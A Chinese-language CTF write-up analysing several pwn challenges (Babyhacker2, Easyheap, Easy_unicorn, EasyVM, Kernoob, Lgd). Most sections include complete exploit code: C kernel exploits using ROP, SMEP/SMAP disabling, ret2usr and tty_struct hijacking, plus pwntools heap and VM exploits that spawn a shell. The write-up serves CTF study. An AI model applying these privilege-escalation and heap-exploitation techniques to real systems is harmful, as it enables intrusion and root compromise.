Babyhacker2 分析 首先我们看一下startvm.sh
有时间限制,并且开启了kalsr,smep,smap
的保护。即内核不能访问用户空间的数据和代码,这个保护可以通过修改cr4
寄存器来关闭。我们看一下虚拟机本身
1 cpio -idmv < initramfs.cpio
首先是加载了babyhacker.ko
的驱动,这里驱动开启了canary
和NX
保护。接着将dmesg_restrict/kptr_restrict
置为0
意味着我们可以通过cat kallsyms
查看commit_creds/prepare_kernel_cred
两个函数的地址。通过commit_creds(prepare_kernel_cred(0))
调用来实现提权。
漏洞出现在0x30000
的操作处
我们传入的rdx
是一个signedint
,因此我们可以通过输入负数来实现判断的绕过
绕过判断之后就可以将di
即后两个字节赋值给buffersize
。由于读取和写入的操作是通过buffersize
来控制的,因此我们可以实现栈内容的泄露和栈溢出覆盖返回地址ROP
。
利用
修改buffersize
的大小,泄露canary,rbp,ret
的地址,实现内核基址的获取,绕过kalsr,canary
。
修改buffersize
的大小,将rop
链写入到返回地址位置,关闭smep,smap
,执行用户空间的提权代码提权,返回用户空间getshell
。
提权时采用的是ret2usr
,即利用我们写好的函数进行提权操作。当执行两个内核空间的提权函数的时候,我们处于ring0
级别,因此可以正常执行。但是要getshell
需要返回用户空间去执行,这里利用到了swags,iretq
来返回用户空间,但是在这之前需要我们保存CS, flags, esp
等信息,供iretq
使用。
GDB调试
首先在qemu中lsmod找到babyhacker的加载基址0xffffffffc0000000,接着在gdb中执行
add-symbol-file babyhacker.ko 0xffffffffc0000000
b *0xffffffffc0000000+0x70
set architecture i386:x86-64:intel
target remote :1234 //getchar()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t commit_creds;size_t prepare_kernel_cred;unsigned long long user_cs, user_ss, user_rflags;unsigned long user_stack = 0 ;size_t p_rdi_r = 0xffffffff8109054d ;size_t mv_rc4_rdi_p_rbp_r = 0xffffffff81004d70 ;size_t rop[0x1000 ];void get_shell () { system("/bin/sh" ); } void getroot () { char * (*pkc)(int ) = prepare_kernel_cred; void (*cc)(char *) = commit_creds; (*cc)((*pkc)(0 )); asm ( "push %2\n" "swapgs\n" "push %0\n" "push %1\n" "push %2\n" "push %3\n" "push %4\n" "iretq\n" : : "r" (user_ss), "r" (user_stack), "r" (user_rflags), "r" (user_cs), "r" (get_shell) : "memory" ); } void save_state () { asm ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_stack), "=r" (user_rflags) : : "memory" ); } int main (int argc, char const *argv[]) { save_state(); commit_creds = 0xffffffff810a1430 ; prepare_kernel_cred = 0xffffffff810a1820 ; int fd = open("/dev/babyhacker" , O_RDONLY); if (fd < 0 ){ printf ("open error\n" ); } getchar(); ioctl(fd, 0x30000 , 0xf000ffff ); size_t buf[0x1000 ]; ioctl(fd, 0x30002 , buf); size_t canary = buf[40 ]; size_t orl_ebp = buf[41 ]; size_t ret_address = buf[42 ]; size_t offset = 0xffffffff81219218 - ret_address; printf ("canary: %p-- ret_address: %p -- offset: %d\n" , canary, ret_address, offset); commit_creds += offset; prepare_kernel_cred += offset; p_rdi_r += offset; mv_rc4_rdi_p_rbp_r += offset; printf ("commit_creds : %p\nprepare_kernel_cred: %p\n" , commit_creds, prepare_kernel_cred); ioctl(fd, 0x30000 , 0xf000ffff ); int index = 40 ; rop[index++] = canary; rop[index++] = orl_ebp; rop[index++] = p_rdi_r; rop[index++] = 0x6f0 ; rop[index++] = mv_rc4_rdi_p_rbp_r; rop[index++] = orl_ebp; rop[index++] = getroot; ioctl(fd, 0x30001 , rop); return 0 ; }
Easyheap 分析 程序一共提供了三种功能分别是add,delete,edit
。注意到在delete
的时候已经将指针清空,最多同时存在三个指针,用户申请的内存的最大大小为0x400
。但是在add
的时候,判断用户大小的逻辑处出了问题
注意到在判断逻辑之前指针已经被赋值到ptr
中了,而当用户输入的大小大于0x400
的时候并没有释放这一部分内存,清空这一部分的指针。
假如我们之前申请了两次0x50
大小的堆块,并全部释放,此时fastbin
中存在两个0x20
大小的堆块。此时申请大于0x400
的堆块的时候,ptr[0]
中的指针会是最后一次释放的fastbin
,并且fd
指针指向下一个fastbin
,size
没有被清空的情况下,我们就可以通过edit
控制下一个fastbin
堆块内容。
0x10
大小的堆块标识如下
1 2 3 4 typeof struct con { char * content; int length; }
利用
申请大小为0x40,0x50
的堆块,并释放。此时申请0x500,0x20,0x50
的堆块,堆布局如下
此时我们修改ptr[0]
使得ptr[1]
的content
指向ptr[2]
,也就是将0x603000
的最后一个字节覆写为0x30
,这样edit ptr[0]
就可以更改ptr[1]
的content
为我们想要任意写的内存地址,此时edit ptr[1]
就是向我们想要写的内存地址处写内容了。实现了任意写。
通过edit ptr[1],ptr[2]
实现的任意写将free.got
改写为puts.plt
,将ptr[2]
的content
改写为想要泄露地址的函数的got
地址,就可以泄露到的libc
基址。
通过edit ptr[0],ptr[1]
实现的任意写将atoi
的地址改写为system
,输入/bin/sh
进行getshell
。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *file_path = "./easyheap" context.arch = "amd64" context.log_level = "debug" elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b*0x400B98\n" ) libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def add (length, content ): p.sendlineafter("choice:\n" , "1" ) p.sendlineafter("this message?\n" , str (length)) if length <= 0x400 : p.sendafter("the message?\n" , content) def delete (index ): p.sendlineafter("choice:\n" , "2" ) p.sendlineafter("to be deleted?\n" , str (index)) def edit (index, content ): p.sendlineafter("choice:\n" , "3" ) p.sendlineafter("be modified?\n" , str (index)) p.sendafter("the message?\n" , content) def message_exit (): p.sendlineafter("choice:\n" , "4" ) add(0x40 , "0" ) add(0x50 , "1" ) delete(0 ) delete(1 ) add(0x500 , "12" ) add(0x20 , "12" ) add(0x50 , "12" ) padding = p64(0 )+p64(0x21 ) edit(0 , padding + b"\x30" ) edit(1 , p64(elf.got['free' ])) edit(2 , p64(elf.plt['puts' ])) edit(1 , p64(elf.got['atoi' ])) delete(2 ) libc.address = u64(p.recv(6 ).ljust(8 , b"\x00" )) - libc.sym['atoi' ] log.success("libc address: {}" .format (hex (libc.address))) edit(0 , padding + p64(elf.got['atoi' ])) edit(1 , p64(libc.sym['system' ])) p.sendlineafter("choice:\n" , "/bin/sh" ) p.interactive()
Easy_unicorn unicorn 可以看这篇分析文章
Unicorn
是一款基于qemu
模拟器的模拟执行框架,支持Arm,Mips
等多种指令集,为包含c++,python,java
在内的多种语言提供了编程接口,其DLL
可以被更多的语言调用。
Unicorn
采用虚拟内存基址,通过uc_mem_map,uc_mem_read,uc_mem_write
的api
来控制虚拟内存,map
时需要与0x1000
内存对齐。想要Unicorn
模拟执行代码,则首先要将代码加载到虚拟内存中。
unicorn
中存在hook
机制,调用add_hook
即可添加一个hook
。Unicorn
的hook
是链式的,也就是可以添加多个同类型的hook
,Unicorn
会依次调用每一个handler
。这里我们主要关注四种类型的hook
UC_HOOK_INTR,1<<0
中断
UC_HOOK_INSN,1<<1
,系统调用和中断
UC_HOOK_CODE,1<<2
,执行每一行代码时触发hook
UC_HOOK_MEM_READ,1<<10
内存写
UC_HOOK_MEM_WRITE,1<<11
内存读取
add_hook
的函数原型如下
1 2 3 4 5 6 7 8 9 10 11 12 13 uc_err uc_hook_add (uc_engine *uc, uc_hook *hh, int type, void *callback, void *user_data, uint64_t begin, uint64_t end, ...) ;
Sandbox分析 我们知道unicorn
是作为虚拟机类似的存在,其运行的主程序主要就是xctf_pwn
了。题目中给出了其dump
文件。首先我们看一下x86_sandbox
。
我们看到程序首先是读取xctf_pwn.dmp
中的二进制数据,如果程序设置了info
参数的话,其会输出xctf_pwn
中所有的段信息。这一个步相当于初始化了虚拟机x86_sandbox
这个对象。(可以有多个虚拟机对象,各个对象互不干扰)
接着如果设置-debug
参数的话,其会添加一个code_hook
,我们看一下
这里hook
的类型为4
,也就是UC_HOOK_CODE
,那么每执行一条指令,其就会将RIP
打印出来。接着是调用了Disable_file_RDWR
其将sandbox
对象中+0x28
位置的值置为了0
,这里会影响后面的函数。接着添加了system
的hook
,这个hook
的类型是2
也就是会hook
所有的中断和系统调用。我们看一下具体的callback
函数,其根据rax
的数值判断当前调用的系统函数,这里我们关注一下rax=2
也就是sys_open
系统调用,这是程序调用了file_open
这个函数
由于之前将sandbox+0x28
处设置为了0
,因此并不能反会fd
,但是文件已经打开了。完成system hook
的添加之后,程序输出了所有的寄存器地址,然后启动了虚拟机
提取程序 我们可以利用info
给出的信息提取。我们将0x400000
开始到0x604000
结束的内容提取出来,这就是程序的主要内容了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 data = ''' | .gcc_except_table | 401e64 | f5c | 24 | | debug001 | 7ffff783b000 | f88 | 4000 | | .data | 603090 | 4fb8 | 10 | | libc_2.23.so | 7ffff7475000 | 5008 | 1c0000 | | .fini | 4015a4 | 1c5008 | 9 | | .plt | 4009f0 | 1c5111 | 100 | | .jcr | 602e00 | 1c5211 | 8 | | ld_2.23.so1 | 7ffff7ffc000 | 1c5219 | 1000 | | ld_2.23.so2 | 7ffff7ffd000 | 1c6219 | 1000 | | LOAD | 400000 | 1c7239 | 9c8 | | .init | 4009c8 | 1c7c01 | 1a | | [stack] | 7ffffffde000 | 1c7c1b | 21000 | | libstdc__.so.6.0.21 | 7ffff7a55000 | 1e8c2b | 172000 | | LOAD2 | 400af8 | 35ac3b | 8 | | .fini_array | 602df8 | 35ac43 | 8 | | .prgend | 6031d8 | 35ac4b | 1 | | libstdc__.so.6.0.212 | 7ffff7dc7000 | 35ac4c | a000 | | libstdc__.so.6.0.213 | 7ffff7dd1000 | 364c4c | 2000 | | .plt.got | 400af0 | 366c4c | 8 | | libstdc__.so.6.0.211 | 7ffff7bc7000 | 366c54 | d000 | | ld_2.23.so | 7ffff7dd7000 | 373c54 | 26000 | | libgcc_s.so.1 | 7ffff783f000 | 399c54 | 16000 | | libgcc_s.so.11 | 7ffff7a54000 | 3afc54 | 1000 | | libm_2.23.so1 | 7ffff7274000 | 3b0c54 | 2000 | | libm_2.23.so3 | 7ffff7474000 | 3b2c54 | 1000 | | libm_2.23.so2 | 7ffff7473000 | 3b3c54 | 1000 | | debug004 | 7ffff7ffe000 | 3b4c5c | 1000 | | xctf_pwn | 401e88 | 3b5c74 | 178 | | LOAD1 | 4009e2 | 3b5dec | e | | LOAD3 | 4015a2 | 3b5dfa | 2 | | LOAD5 | 4019a7 | 3b5e04 | 1 | | LOAD4 | 4015ad | 3b5e05 | 3 | | LOAD7 | 602e08 | 3b5e08 | 1f0 | | LOAD6 | 401a84 | 3b5ff8 | 4 | | [vdso] | 7ffff7ffa000 | 3b5ffc | 2000 | | .text | 400b00 | 3b7ffc | aa2 | | libc_2.23.so3 | 7ffff7839000 | 3b8b5e | 2000 | | libc_2.23.so2 | 7ffff7835000 | 3bab5e | 4000 | | libc_2.23.so1 | 7ffff7635000 | 3beb5e | 9000 | | .rodata | 4015b0 | 3c7b5e | 3f7 | | .got | 602ff8 | 3c7f55 | 8 | | .got.plt | 603000 | 3c7f5d | 90 | | .eh_frame_hdr | 4019a8 | 3c7fed | dc | | .bss | 6030a0 | 3c80c9 | 138 | | extern | 6031e0 | 3c8201 | 98 | | libm_2.23.so | 7ffff716c000 | 3c8299 | 108000 | | [vsyscall] | ffffffffff600000 | 4d0299 | 1000 | | [heap] | 604000 | 4d1299 | 32000 | | .init_array | 602df0 | 503299 | 8 | | .eh_frame | 401a88 | 5032a1 | 3dc | | debug003 | 7ffff7fe7000 | 50367d | 6000 | | xctf_pwn3 | 603278 | 50967d | d88 | | xctf_pwn1 | 602000 | 50a405 | df0 | | xctf_pwn2 | 6031d9 | 50b1f5 | 7 | | debug002 | 7ffff7dd3000 | 50b1fc | 4000 | ''' data = data.split("\n" )[1 :-1 ] seg = [] for i in data: t = i.split("|" )[1 :-1 ] t = [i.strip() for i in t] t = [int (i, 16 ) for i in t[1 :]] + t[:1 ] seg.append(t) seg.sort() for i in seg: print (hex (i[0 ]), i[1 :]) f = open ("recovery_pwn" , "wb" ) with open ("xctf_pwn.dump" , "rb" ) as fr: for i in seg: if i[0 ]>=0x604000 : continue print ("len of {} is {}" .format (i[3 ], i[2 ])) fr.seek(i[1 ]) f.write(fr.read(i[2 ])) f.close()
也可以采用patch
的形式,通过将读取内存写入文件的二进制代码写入eh_frame
段,hook engine_start
的调用至eh_frame
段的函数就可以完成程序的dump
。
xctf_pwn分析 反编译提取出来的程序,我们通过string
找到主程序
我们主要关注的是cmp_pass
这个函数,
该函数将用户输入的pass
转换为16
进制,并与cpuid
进行比较,若相同则调用v5[0]+1
处的函数。否则就会将vtable
的地址+1
。而当用户输入的pass
的总长度大于4
且不正确时,程序就会推出。cpuid
的产生位于print_cpuid
函数中
a1+0x18
中存储着原始的cpuid
数值,通过异或得到输出的machine-code
。我们可以通过machine-code
反向次序异或,得到原始的cpuid
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 p.recvuntil("\x1B[1;31;5m " ) data = p.recvuntil(" " ).strip() print (data)data_int_list = [int (i, 16 ) for i in data.split(b"-" )] data_bytes = b"" for i in data_int_list: data_bytes += p32(i) data_bytes_list = [i for i in data_bytes] print (data_bytes)print (data_bytes_list)for i in range (0xe , -1 , -1 ): data_bytes_list[i]^=data_bytes_list[i+1 ] pass_str = "" for i in data_bytes_list: pass_str += "%02x" %i print (pass_str)
当我们输入正确的pass
的时候,就会调用vtable+1
的函数
我们看一下该函数
在sandbox
中open
的系统调用已经被hook
了,文件已经被打开,但是无法返回fd
。
但是我们注意到401928
位置即vtable+0x28
处存在一个后门函数
这里会执行用户输入的任意的shellcode
。但是我们要想执行这个函数需要将vtable
的地址+0x20
才行,因此需要输入pass
错误0x20
次。也就是需要绕过总长度大于4
的判断。我们注意到在readpass
的时候如果用户输入的是\n
,其并不会进入for
循环,也就是count
永远是0
。这就绕过了判断。
接下来就是如何执行shellcode
的问题了。orw
操作中open
操作文件已经打开只不过是fd
没有返回。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *file_path = "./x86_sandbox" context.arch = "amd64" context.log_level = "debug" elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 p.recvuntil("\x1B[1;31;5m " ) data = p.recvuntil(" " ).strip() print (data)data_int_list = [int (i, 16 ) for i in data.split(b"-" )] data_bytes = b"" for i in data_int_list: data_bytes += p32(i) data_bytes_list = [i for i in data_bytes] print (data_bytes)print (data_bytes_list)for i in range (0xe , -1 , -1 ): data_bytes_list[i]^=data_bytes_list[i+1 ] pass_str = "" for i in data_bytes_list: pass_str += "%02x" %i print (pass_str)for i in range (0x20 ): p.sendafter("your password << " , "\n" ) p.sendlineafter("your password << " , pass_str) shellcode = shellcraft.open ("./flag.txt" ) shellcode += shellcraft.read(3 , "rsp" , 0x100 ) shellcode += shellcraft.write(1 , "rsp" , 0x100 ) p.recvuntil("data ptr:" ) buf_address = int (p.recvline().strip(b"\n" ), 16 ) p.sendlineafter("data<<" , asm(shellcode)) p.sendlineafter("invoke ptr<<" , str (buf_address)) p.sendlineafter("arg0<<" , str (buf_address)) p.sendlineafter("arg1<<" , str (buf_address)) p.sendlineafter("arg2<<" , str (buf_address)) p.interactive()
EasyVM 分析 程序提供了四种方法,其中最为重要的就是start
的逻辑
通过0x80
我们可以将ptr[n]
改写为任意四字节值,而配合0x54
和0x53
可以实现内存的任意读写。通过0x9
和0x11
的配合,我们可以泄露0x5655805c
处的内容
经过4
之后,0x5655805c
会被改写为一个elf
的地址,这样我们就可以泄露出elf
的加载基址,绕过ASLR
。通过读取free_got
即可以泄露libc
基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *file_path = "./EasyVM" context.log_level = "debug" elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b*0x56555F0A" ) libc = ELF('/home/pwn/Desktop/glibc/x32/glibc-2.23/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def add (data ): p.sendlineafter(">>>" , "1" ) p.sendline(data) def start (): p.sendlineafter(">>>" , "2" ) def recyle (): p.sendlineafter(">>>" , "3" ) def gift (): p.sendlineafter(">>>" , "4" ) def bo_exit (): p.sendlineafter(">>>" , "5" ) leak_elf_address_paylaod = "\x09\x11\x99" gift() add(leak_elf_address_paylaod) start() p.recvuntil("0x" ) elf.address = int (p.recvline().strip(b"\n" ), 16 ) - 0x6c0 log.success("elf base address {}" .format (hex (elf.address))) free_got = elf.got['free' ] free_address = b"" for i in range (4 ): add(b"\x80" +chr (3 ).encode()+p32(free_got+i)+b"\x53\x99\x99" ) start() free_address += p.recvuntil("1.Produce" , drop=True )[-1 :] free_address = u32(free_address) libc.address = free_address - libc.sym['free' ] log.success("libc address {}" .format (hex (libc.address))) system_address = libc.sym['system' ] binsh_address = libc.search(b"/bin/sh\x00" ).__next__() free_hook_address = libc.sym['__free_hook' ] add(b"\x80" +chr (10 ).encode()+p32(binsh_address)+b"\x99" ) start() for i in range (4 ): add(b"\x80" +chr (3 ).encode()+p32(free_hook_address+i)+b"\x54\x99\x99" ) start() p.send(p32(system_address)[i:i+1 ]) recyle() p.interactive()
Kernoob 分析 首先看一下程序,程序只开启了堆栈不可执行保护,内核则只开启了smep
保护。程序提供了四种方法add,show,edit,delete
。
delete
的时候没有对全局变量进行清空,因此存在UAF
,而对用户空间的数据又是进行了两步操作,即先验证size
的大小,然后根据size
进行分配内存,存在double fetch
。
利用 double fetch 的利用见此
通过double fetch
的竞争,可以在内核对size
验证完毕之后将申请的内存更改为任意的大小。
kernel
中存在一种tty_struct
结构体,在打开tty
设备的时候会创建。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 struct tty_struct { int magic; struct kref kref ; struct device *dev ; struct tty_driver *driver ; const struct tty_operations *ops ; int index; struct ld_semaphore ldisc_sem ; struct tty_ldisc *ldisc ; struct mutex atomic_write_lock ; struct mutex legacy_mutex ; struct mutex throttle_mutex ; struct rw_semaphore termios_rwsem ; struct mutex winsize_mutex ; spinlock_t ctrl_lock; spinlock_t flow_lock; struct ktermios termios , termios_locked ; struct termiox *termiox ; char name[64 ]; struct pid *pgrp ; struct pid *session ; unsigned long flags; int count; struct winsize winsize ; unsigned long stopped:1 , flow_stopped:1 , unused:BITS_PER_LONG - 2 ; int hw_stopped; unsigned long ctrl_status:8 , packet:1 , unused_ctrl:BITS_PER_LONG - 9 ; unsigned int receive_room; int flow_change; struct tty_struct *link ; struct fasync_struct *fasync ; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work ; void *disc_data; void *driver_data; spinlock_t files_lock; struct list_head tty_files ; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; struct work_struct SAK_work ; struct tty_port *port ; } __randomize_layout;
这里我们主要关注的是第五个成员变量也就是tty_operations
,该结构体中存在很多的函数指针(虚函数表),与fileops
类似。在获得任意的内存分配权限之后,我们可以申请一个tty_operations
结构体的大小并释放(这里大小的获取可以编译输出size
的驱动,或者直接查找源码 ),在打开一个tty
设备ptmx
的时候之前释放的堆块就会被申请,因此我们可以通过UAF
来控制打开的tty
设备中的tty_operations
结构体,劫持其中的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 struct input { size_t index; char * buf; size_t size; }; void change_size (void * in) { struct input * cu_in = in; while (has_changed == 0 ){ cu_in->size = 0x2e0 ; } } int main (int argc, char const *argv[]) { getchar(); save_state(); struct tty_operations fake_tty ; char buf[0x1000 ]; pthread_t t1; int fd1 = open("/dev/noob" , O_RDONLY); struct input current_input ; current_input.index = 0 ; current_input.buf = buf; current_input.size = 0x0 ; pthread_create(&t1, NULL , change_size, ¤t_input); for (int i = 0 ; i < 0x100000 ; ++i) { ioctl(fd1, 0x30000 , ¤t_input); current_input.size = 0 ; } has_changed = 1 ; pthread_join(t1, NULL );
可以看到我们已经成功分配一个块大小为0x2e0
的堆块,接下来释放该堆块并打开一个tty
设备,占用这个堆块。堆块占用完成之后我们就可以劫持函数指针了。
提升权限的方法这里可以选择内核的ROP
,利用xchg e?x , esp
的gadget
来迁移函数栈,由于tty_operations
的函数调用的最后一条指令是call eax
,因此这里选择xchg eax, esp
。对tty_operations
中指针的覆盖则是选择的ioctl
函数。那么在调用ioctl
函数的时候,rax
是xchg rax, rsp
的地址,此时即将栈劫持到gadget
地址上,主要到此时的gadget
的地址的高8
位是0
我们需要在该地址中布置好rop chain
,因此我们需要先在这个地址处mmap
一段内存空间,接着将关闭smep,smap
保护和提升权限获取shell
的rop
链部署在该位置。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #include <string.h> struct tty_operations { struct tty_struct *(*lookup )(struct tty_driver *, struct file *, int ); int (*install)(struct tty_driver *, struct tty_struct *); void (*remove)(struct tty_driver *, struct tty_struct *); int (*open)(struct tty_struct *, struct file *); void (*close)(struct tty_struct *, struct file *); void (*shutdown)(struct tty_struct *); void (*cleanup)(struct tty_struct *); int (*write)(struct tty_struct *, const unsigned char *, int ); int (*put_char)(struct tty_struct *, unsigned char ); void (*flush_chars)(struct tty_struct *); int (*write_room)(struct tty_struct *); int (*chars_in_buffer)(struct tty_struct *); int (*ioctl)(struct tty_struct *, unsigned int , long unsigned int ); long int (*compat_ioctl) (struct tty_struct *, unsigned int , long unsigned int ) ; void (*set_termios)(struct tty_struct *, struct ktermios *); void (*throttle)(struct tty_struct *); void (*unthrottle)(struct tty_struct *); void (*stop)(struct tty_struct *); void (*start)(struct tty_struct *); void (*hangup)(struct tty_struct *); int (*break_ctl)(struct tty_struct *, int ); void (*flush_buffer)(struct tty_struct *); void (*set_ldisc)(struct tty_struct *); void (*wait_until_sent)(struct tty_struct *, int ); void (*send_xchar)(struct tty_struct *, char ); int (*tiocmget)(struct tty_struct *); int (*tiocmset)(struct tty_struct *, unsigned int , unsigned int ); int (*resize)(struct tty_struct *, struct winsize *); int (*set_termiox)(struct tty_struct *, struct termiox *); int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); const struct file_operations *proc_fops ; }; size_t commit_creds = 0xffffffff810ad430 ;size_t prepare_kernel_cred = 0xffffffff810ad7e0 ;unsigned long long user_cs, user_ss, user_rflags;unsigned long user_stack = 0 ;int has_changed = 0 ;size_t xchg_rax_rsp_r = 0xffffffff8101db17 ;size_t p_rdi_r = 0xffffffff8107f460 ;size_t mv_rc4_rdi_p_rbp_r = 0xffffffff8101f2f0 ;void get_shell () { system("/bin/sh" ); } void getroot () { char * (*pkc)(int ) = prepare_kernel_cred; void (*cc)(char *) = commit_creds; (*cc)((*pkc)(0 )); asm ( "push %2\n" "swapgs\n" "push %0\n" "push %1\n" "push %2\n" "push %3\n" "push %4\n" "iretq\n" : : "r" (user_ss), "r" (user_stack), "r" (user_rflags), "r" (user_cs), "r" (get_shell) : "memory" ); } void save_state () { asm ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_stack), "=r" (user_rflags) : : "memory" ); } struct input { size_t index; char * buf; size_t size; }; void change_size (void * in) { struct input * cu_in = in; while (has_changed == 0 ){ cu_in->size = 0x2e0 ; } } int main (int argc, char const *argv[]) { save_state(); struct tty_operations fake_tty ; char buf[0x1000 ]; pthread_t t1; int fd1 = open("/dev/noob" , O_RDONLY); struct input current_input ; current_input.index = 0 ; current_input.buf = buf; current_input.size = 0x0 ; pthread_create(&t1, NULL , change_size, ¤t_input); for (int i = 0 ; i < 0x100000 ; ++i) { ioctl(fd1, 0x30000 , ¤t_input); current_input.size = 0 ; } has_changed = 1 ; pthread_join(t1, NULL ); getchar(); printf ("maybe freed 0x2e0 chunk\n" ); ioctl(fd1, 0x30001 , ¤t_input); int fd2 = open("/dev/ptmx" , O_RDONLY); if (fd2 < 0 ){ printf ("open ptmx error\n" ); exit (0 ); } printf ("open tty finished\n" ); size_t fake_stack = xchg_rax_rsp_r & 0xffffffff ; printf ("fake stack %lx---%lx\n" , fake_stack, fake_stack&0xfffff000 ); size_t rop_chain = mmap((void *)(fake_stack&0xfffff000 ), 0x1000 , 7 , 0x22 , -1 , 0 ); if (!rop_chain){ printf ("mmap error\n" ); exit (0 ); } printf ("mmap finished, %lx\n" , rop_chain); size_t rop[] = { p_rdi_r, 0x6f0 , mv_rc4_rdi_p_rbp_r, 0 , getroot }; memset (&fake_tty, 0 , sizeof (struct tty_operations)); printf ("memset finished\n" ); fake_tty.ioctl = xchg_rax_rsp_r; memcpy ((void *)fake_stack, rop, sizeof (rop)); printf ("rop memcpy finished\n" ); size_t ori_tty[0x30 /8 ] = {0 }; current_input.buf = ori_tty; current_input.size = 0x30 ; printf ("reading buf form kernel\n" ); ioctl(fd1, 0x30003 , ¤t_input); ori_tty[3 ] = &fake_tty; for (int i =0 ;i<(0x30 /8 );i++){ printf ("%lx\n" ,ori_tty[i]); } getchar(); ioctl(fd1, 0x30002 , ¤t_input); ioctl(fd2, 0 , 0 ); return 0 ; }
Lgd 分析 程序提供了四种方法add,delete,show,edit
。并且使用了prctl
函数,不允许调用execve
。
在add,delete
函数中存在大量的emmm
应该是无关代码吧,观察到好像都是0
,我们只需要关注这几个语句就可以了
add
函数按照用户的输入申请相应大小的内存,最大不超过0x1000
大小,接着读取0x200
字节的输入到bbs
段中,并将用户输入的字符串的长度保存在0x603260
地址处。bug
是堆块列表
delete
函数则将buf[index]
中存储的堆块释放掉。puts
函数则是将buf[index]
即用户的输入输出。
edit
函数则按照0x603260
位置处存储的长度重新读取用户输入的数据。这里就出现问题了,因为0x603260
中存储的是用户输入到bbs
段中的数据最大为0x200
字节,而我们申请的堆块的大小可以小于0x200
,因此造成了堆溢出。
利用
申请一块unsorted bin
并释放,利用堆溢出或者UAF
泄露libc
基址
利用堆溢出修改fastbin fd
指针,fastbin attack
配合unsorted bin attack
申请堆块到free_hook
附近位置,覆盖free_hook
指针为setcontext+53
的地址
利用setcontext
重新获取控制流,调用mprotect
将写入shellcode
的堆块关闭不可执行保护,执行shellcode
。
setcontext
函数是用来设置用户上下文的,当我们可以小范围的控制执行流,并且知道libc
基址的时候可以利用setcontext+53
扩大控制范围。int setcontext(const ucontext_t *ucp);
